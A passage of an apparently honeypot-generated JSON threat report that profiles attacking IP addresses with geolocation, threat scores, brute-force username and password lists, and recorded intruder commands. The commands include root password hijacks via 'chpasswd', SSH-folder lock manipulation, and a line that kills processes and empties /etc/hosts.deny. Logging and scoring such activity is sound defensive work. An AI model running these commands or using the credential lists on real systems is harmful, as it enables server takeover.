        "echo \"root:FOSsGroF5knY\"|chpasswd|bash",
        "echo \"root:gfijd9dKT0cL\"|chpasswd|bash",
        "echo \"root:pqoDLoFcHzqE\"|chpasswd|bash",
        "echo \"tester@2025\\nWEcHucSfRbX4\\nWEcHucSfRbX4\\n\"|passwd",
        "echo -e \"tester@2025\\nWEcHucSfRbX4\\nWEcHucSfRbX4\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 50.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.2,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 835,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T16:42:18.952000+00:00",
        "last_seen_30d": "2026-04-28T02:29:03.604000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 666,
        "Suricata": 169
      }
    },
    "130.250.191.200": {
      "attack_count": 604,
      "first_seen": "2026-04-04T04:51:33.625Z",
      "last_seen": "2026-04-24T04:10:26.566Z",
      "sessions": 62,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "n8n",
        "test",
        "ubuntu",
        "vpn",
        "ali",
        "git",
        "steam",
        "teamspeak",
        "user",
        "wp-user",
        "debian",
        "deploy",
        "factorio",
        "frappe",
        "ftptest",
        "npadmin",
        "odoo",
        "postgres"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "121212",
        "123",
        "12345",
        "12345_qwe",
        "159159",
        "2glehe5t24th1issZs",
        "@WSX3edc$RFV",
        "@a123456789",
        "ABcd1234",
        "Ali11!",
        "Asdf1234",
        "Frappe2026!",
        "Frappe4",
        "MoeClub.org",
        "N8n2",
        "P@$$w0rd1234",
        "P@SSWORD123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"N8n2\\nFIAcDmuUQP39\\nFIAcDmuUQP39\\n\"|passwd",
        "echo \"admin12345\\nMJrphr0Swc1s\\nMJrphr0Swc1s\\n\"|passwd",
        "echo \"gitosis\\nY0WcITfmREAR\\nY0WcITfmREAR\\n\"|passwd",
        "echo \"root:KTp9j2tsFQQh\"|chpasswd|bash",
        "echo \"wp-user\\nKBZ5PmcFoHQx\\nKBZ5PmcFoHQx\\n\"|passwd",
        "echo -e \"N8n2\\nFIAcDmuUQP39\\nFIAcDmuUQP39\"|passwd|bash",
        "echo -e \"admin12345\\nMJrphr0Swc1s\\nMJrphr0Swc1s\"|passwd|bash",
        "echo -e \"gitosis\\nY0WcITfmREAR\\nY0WcITfmREAR\"|passwd|bash",
        "echo -e \"wp-user\\nKBZ5PmcFoHQx\\nKBZ5PmcFoHQx\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 215117,
      "as_org": "HosterDaddy Private Limited",
      "threat_score": 46.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.7,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 747,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T04:51:33.625000+00:00",
        "last_seen_30d": "2026-04-24T04:11:30.578000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 604,
        "Suricata": 143
      }
    },
    "104.244.74.84": {
      "attack_count": 593,
      "first_seen": "2026-04-06T23:07:57.969Z",
      "last_seen": "2026-04-10T17:20:09.969Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "eversec",
        "ftpuser1",
        "postgres",
        "test",
        "testuser",
        "ubuntu",
        "user",
        "dci",
        "demo",
        "deploy",
        "ftp1user",
        "ftpuser",
        "git",
        "gits",
        "jerry",
        "long",
        "media"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1111",
        "1010",
        "11111111",
        "111222",
        "123",
        "123123",
        "12344321",
        "12345",
        "123456",
        "123456789",
        "1234567890Qwertyuiop",
        "1QAZ2wsx!",
        "KcP1e@%B#zRp3X8",
        "P@ssword",
        "Passw0rd!@#",
        "Postgres12!",
        "QWERTYUIO",
        "Qazwsx12345!@#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1111\\n6PuEftPBOS4D\\n6PuEftPBOS4D\\n\"|passwd",
        "echo \"KcP1e@%B#zRp3X8\\nTpGUh98MPb4Q\\nTpGUh98MPb4Q\\n\"|passwd",
        "echo \"password\\nmGLBQWNRM7ia\\nmGLBQWNRM7ia\\n\"|passwd",
        "echo \"root:9nZ8wV2Q5Jzx\"|chpasswd|bash",
        "echo \"root:fGnm0l74bUZm\"|chpasswd|bash",
        "echo -e \"1111\\n6PuEftPBOS4D\\n6PuEftPBOS4D\"|passwd|bash",
        "echo -e \"KcP1e@%B#zRp3X8\\nTpGUh98MPb4Q\\nTpGUh98MPb4Q\"|passwd|bash",
        "echo -e \"password\\nmGLBQWNRM7ia\\nmGLBQWNRM7ia\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": null,
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.6,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 730,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T23:07:57.969000+00:00",
        "last_seen_30d": "2026-04-10T17:21:17.743000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 593,
        "Suricata": 137
      }
    },
    "103.243.24.124": {
      "attack_count": 531,
      "first_seen": "2026-04-18T21:40:58.702Z",
      "last_seen": "2026-04-23T08:48:56.134Z",
      "sessions": 59,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "345gs5662d34",
        "ubuntu",
        "admin",
        "admin1",
        "admin1234",
        "odoo",
        "sftp_user",
        "Test",
        "bot",
        "debianuser",
        "deploy",
        "devops",
        "frappe",
        "ftpuser",
        "ftpuser3",
        "ganesh",
        "jenkins",
        "newuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "00000",
        "12345",
        "123456",
        "123@qwerty",
        "123qwe",
        "123qwe!@#",
        "1qaz=[;.",
        "1qaz@WSX3",
        "222222",
        "Admin123!@",
        "Admin12345678!@#",
        "Admin26!",
        "Admin31!",
        "Bot13!",
        "Frappe!@#$",
        "Hello@123",
        "KS@gshyx@zl1651"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\ndYlDvMBy1rWz\\ndYlDvMBy1rWz\\n\"|passwd",
        "echo \"12345\\nGLiX4LuCHRk9\\nGLiX4LuCHRk9\\n\"|passwd",
        "echo \"222222\\nCRv0MY78Z1Hm\\nCRv0MY78Z1Hm\\n\"|passwd",
        "echo \"admin1234\\nkuLw9WpZmLaA\\nkuLw9WpZmLaA\\n\"|passwd",
        "echo -e \"12345678\\ndYlDvMBy1rWz\\ndYlDvMBy1rWz\"|passwd|bash",
        "echo -e \"12345\\nGLiX4LuCHRk9\\nGLiX4LuCHRk9\"|passwd|bash",
        "echo -e \"222222\\nCRv0MY78Z1Hm\\nCRv0MY78Z1Hm\"|passwd|bash",
        "echo -e \"admin1234\\nkuLw9WpZmLaA\\nkuLw9WpZmLaA\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 34.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.2,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 662,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T21:40:58.702000+00:00",
        "last_seen_30d": "2026-04-23T08:50:06.467000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 531,
        "Suricata": 131
      }
    },
    "205.164.114.59": {
      "attack_count": 526,
      "first_seen": "2026-04-10T05:22:48.905Z",
      "last_seen": "2026-04-11T18:44:33.331Z",
      "sessions": 58,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "claude",
        "user",
        "geoserver",
        "huang",
        "mailuser",
        "postgres",
        "cisco",
        "frappe",
        "ftptest",
        "ftpuser2",
        "git",
        "go",
        "manage",
        "n8n",
        "oracle",
        "pgsql",
        "ssh-user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "#Admin123",
        "000000",
        "0911",
        "12345678",
        "1234567Aa",
        "12qwaszx",
        "1Password@",
        "1qaz\"WSX",
        "A123456O",
        "Abc12345.",
        "Admin@234",
        "Cisco123",
        "Claude2025",
        "Claude23!",
        "Hello2026",
        "Qazwsx111"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nZ2SIRcaW429R\\nZ2SIRcaW429R\\n\"|passwd",
        "echo \"geoserver\\nPIDTOr4pS6zw\\nPIDTOr4pS6zw\\n\"|passwd",
        "echo \"mailuser123\\n69EWpwKlCDoG\\n69EWpwKlCDoG\\n\"|passwd",
        "echo \"user\\n8xNZnpoVdrVp\\n8xNZnpoVdrVp\\n\"|passwd",
        "echo -e \"123456\\nZ2SIRcaW429R\\nZ2SIRcaW429R\"|passwd|bash",
        "echo -e \"geoserver\\nPIDTOr4pS6zw\\nPIDTOr4pS6zw\"|passwd|bash",
        "echo -e \"mailuser123\\n69EWpwKlCDoG\\n69EWpwKlCDoG\"|passwd|bash",
        "echo -e \"user\\n8xNZnpoVdrVp\\n8xNZnpoVdrVp\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Albany",
      "asn": 395839,
      "as_org": "HOSTKEY",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 656,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T05:22:48.905000+00:00",
        "last_seen_30d": "2026-04-11T18:45:42.170000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 526,
        "Suricata": 130
      }
    },
    "152.244.204.158": {
      "attack_count": 467,
      "first_seen": "2026-04-28T01:56:07.172Z",
      "last_seen": "2026-04-28T03:09:31.833Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "infra911"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "92th1234567",
        "A@1234567",
        "Aa888888",
        "Aa@111111",
        "Admin01",
        "Insert123!",
        "P4ssw0rd!",
        "QAZwsx123!",
        "QW.!@",
        "Qwert!@#$%",
        "REWQ$#@!",
        "Test@123",
        "abc@12",
        "admin_1",
        "asdfgh",
        "default",
        "infra911pw",
        "password1!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:DwpsPRFnqxhl\"|chpasswd|bash",
        "echo \"root:ZZHdfQceLXgT\"|chpasswd|bash",
        "echo \"root:cJqGaWt2Nwm3\"|chpasswd|bash",
        "echo \"root:fNjDVnneMkRE\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Belo Horizonte",
      "asn": 26599,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 37.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 575,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T01:56:07.172000+00:00",
        "last_seen_30d": "2026-04-28T03:10:42.023000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 467,
        "Suricata": 108
      }
    },
    "135.235.138.43": {
      "attack_count": 460,
      "first_seen": "2026-04-11T11:25:08.887Z",
      "last_seen": "2026-04-23T02:30:46.625Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "admin",
        "deploy",
        "qa",
        "sammy",
        "server",
        "steam",
        "admin1234",
        "allinone",
        "bot",
        "david",
        "dev",
        "frappe",
        "ftpuser",
        "git",
        "n8n",
        "odoo",
        "odoo8"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "!QAZ2wsx123",
        "1029384756",
        "1234",
        "1q2w3e4r5",
        "2wsx3edc$RFV",
        "66666",
        "87654321",
        "Aa123654789",
        "Abcd1!@#",
        "Admin24!",
        "BOT",
        "Frappe!@",
        "Frappe1",
        "Hello123",
        "Hf123456",
        "Odoo123",
        "P@ssw0rd!!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"qa\\nRabooIM5YgNo\\nRabooIM5YgNo\\n\"|passwd",
        "echo \"root:LC9gPZWpg0cc\"|chpasswd|bash",
        "echo \"root:lrcxI8Gthmev\"|chpasswd|bash",
        "echo -e \"qa\\nRabooIM5YgNo\\nRabooIM5YgNo\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 38.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 589,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T11:25:08.887000+00:00",
        "last_seen_30d": "2026-04-23T02:31:53.054000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 460,
        "Suricata": 129
      }
    },
    "27.79.47.219": {
      "attack_count": 457,
      "first_seen": "2026-04-17T17:33:19.153Z",
      "last_seen": "2026-04-17T18:09:22.523Z",
      "sessions": 91,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "monitor",
        "support",
        "ubnt",
        "user",
        "123456",
        "ace",
        "admian",
        "ashish",
        "belkinstyle",
        "bin",
        "btf",
        "carol",
        "cisco",
        "cpanel",
        "db2inst2",
        "demo",
        "ftp",
        "george"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "admin",
        "0l0ctyQh243O63uD",
        "password",
        "039715582364317",
        "1",
        "1111",
        "123",
        "1234567890%*()",
        "321start",
        "72b1bd75ac87852a",
        "72ca06",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abc123",
        "ace",
        "admin01",
        "admin123",
        "administrator"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 646,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T17:33:19.153000+00:00",
        "last_seen_30d": "2026-04-17T18:10:27.665000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 457,
        "Suricata": 189
      }
    },
    "196.196.253.20": {
      "attack_count": 430,
      "first_seen": "2026-04-01T04:54:03.811Z",
      "last_seen": "2026-04-09T01:46:50.172Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "dev",
        "test",
        "appuser",
        "cephuser",
        "david",
        "developer",
        "eric",
        "guest",
        "ismael",
        "n8n",
        "sammy",
        "security",
        "steam",
        "test2",
        "testa",
        "user",
        "vmuser"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "!qaz2wsx",
        "123321aaa",
        "1234",
        "1234567890",
        "123456tr",
        "123asd@",
        "12qwe",
        "@123456aA",
        "Chang3m3",
        "Hello2025",
        "N8n12",
        "Qweasd123",
        "Sammy23!",
        "User@1234",
        "Vivo@2025",
        "Wd123456.",
        "a@12345679"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"dev19!\\nBT5YFMRxXoWb\\nBT5YFMRxXoWb\\n\"|passwd",
        "echo \"root:dviQ3KIk5FHs\"|chpasswd|bash",
        "echo \"root:uFweQQdujkFO\"|chpasswd|bash",
        "echo -e \"dev19!\\nBT5YFMRxXoWb\\nBT5YFMRxXoWb\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 58065,
      "as_org": "Orion Network Limited",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.4,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 550,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T04:54:03.811000+00:00",
        "last_seen_30d": "2026-04-09T01:47:57.957000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 430,
        "Suricata": 120
      }
    },
    "154.90.54.142": {
      "attack_count": 331,
      "first_seen": "2026-04-06T18:22:02.154Z",
      "last_seen": "2026-04-06T19:04:16.204Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "oracle",
        "customer",
        "dev",
        "erpnext",
        "ftp_test",
        "logviewer",
        "rp",
        "ruoyi",
        "steam",
        "testuser",
        "tim",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "!Q@W#E$R%T",
        "0racle",
        "123",
        "1234",
        "12345.ASDF",
        "1q@W3e$R5t",
        "1qaz@WSX3edc$RFV@@",
        "Abc#123456",
        "Admin@123456",
        "Docker!",
        "Letmein@1",
        "Zy@123456",
        "admin",
        "admin123@",
        "logviewer",
        "password",
        "qqXX123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"0racle\\nvdbowYNilLsE\\nvdbowYNilLsE\\n\"|passwd",
        "echo \"root:8Gh594uc3wWk\"|chpasswd|bash",
        "echo \"ubuntu_1234\\nLDr5O2k8LG1K\\nLDr5O2k8LG1K\\n\"|passwd",
        "echo -e \"0racle\\nvdbowYNilLsE\\nvdbowYNilLsE\"|passwd|bash",
        "echo -e \"ubuntu_1234\\nLDr5O2k8LG1K\\nLDr5O2k8LG1K\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Dubai",
      "asn": 138915,
      "as_org": "Kaopu Cloud HK Limited",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 401,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T18:22:02.154000+00:00",
        "last_seen_30d": "2026-04-06T19:05:20.093000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 70
      }
    },
    "101.36.117.234": {
      "attack_count": 304,
      "first_seen": "2026-04-03T03:10:33.037Z",
      "last_seen": "2026-04-03T04:20:25.585Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Password123",
        "123456.aa",
        "123456Lh",
        "998877",
        "Cc123456789",
        "Hb@123456",
        "Passw0rd2025",
        "Passw0rd@123",
        "Password-123",
        "R6jT6kfs",
        "admin@pass",
        "amor",
        "ctyun",
        "hc123456987",
        "poli",
        "qwe456",
        "sa12345",
        "wasdwasd"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
